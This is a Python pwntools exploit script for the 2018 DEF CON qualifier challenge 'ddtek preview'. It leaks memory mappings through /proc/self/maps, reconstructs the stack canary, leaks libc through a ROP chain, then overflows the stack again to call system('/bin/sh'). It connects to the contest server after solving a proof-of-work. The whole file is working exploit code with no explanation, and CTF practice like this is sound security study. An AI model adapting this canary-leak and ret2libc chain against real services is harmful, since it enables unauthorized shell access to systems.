2018 DEFCON_qual ddtek_preview

from pwn import *
#import stitch

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
send = lambda *pays: [s.send(str(pay)) for pay in pays]
sendline = lambda *pays: [s.sendline(str(pay)) for pay in pays]
sendafter = lambda token, *pays: [s.sendafter(token, str(pay)) for pay in pays]
sendlineafter = lambda token, *pays: [s.sendlineafter(token, str(pay)) for pay in pays]
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd64 = p64(0xffffffffffffffff)
padd32 = p32(0xffffffff)
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1


def solver() :
    sleep(0.5)
    s.sendline('HEAD /proc/self/maps\x00' + 'A'*0x42)
    s.recvuntil('preview:\n')
    tmp = s.recvline()
    if 'ld' in tmp:
        ld = int(tmp.split('-')[0], 16)
        s.recvline()
        s.recvline()
        s.recvline()
        code = int(s.recvline().split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
    else:
        code = int(tmp.split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
        ld = int(s.recvline().split('-')[0], 16)
    canary = (code >> 4) | (ld << 24)
    s.clean()
    log.info('code = {}'.format(hex(code)))
    log.info('canary = {}'.format(hex(canary)))
    
    pop_rdi = code + 0x10b3
    trigger = code + 0x1046
    puts_got = code + 0x202020
    puts_plt = code + 0x9e0

    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(puts_got)
    pay += p64(puts_plt)
    pay += p64(trigger)
    sleep(0.5)
    s.sendline(pay)
    
    s.recvuntil('request\n')
    libc.address = u64(s.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
    if (libc.address < 0) or (hex(libc.address)[-3:] != '000'):
        raise
    log.info('libc_base = {}'.format(hex(libc.address)))
    binsh = list(libc.search('/bin/sh'))[0]
    
    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(binsh)
    pay += p64(libc.symbols['system'])
    s.sendline(pay)

    s.interactive()

if __name__ == '__main__' :
    prob = 'preview'
    if len(sys.argv) == 1:
        s = process(prob)
        pid = util.proc.pidof(s)[0]
        l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
        log.info('pid = {}'.format(pid))
        log.info('libc_base = {}'.format(hex(l_base)))
        libc = ELF([d for d in s.libs().keys() if 'libc' in d][0])
    else :
        s = remote('cee810fa.quals2018.oooverflow.io', 31337)
        libc = ELF('./libc-2.23.so')
        chal, _, n = s.recvuntil('Solution').split()[3:6]
        print chal, n
        res = solve_pow(chal, int(n))
        s.sendline(str(res))

    pause()
    solver()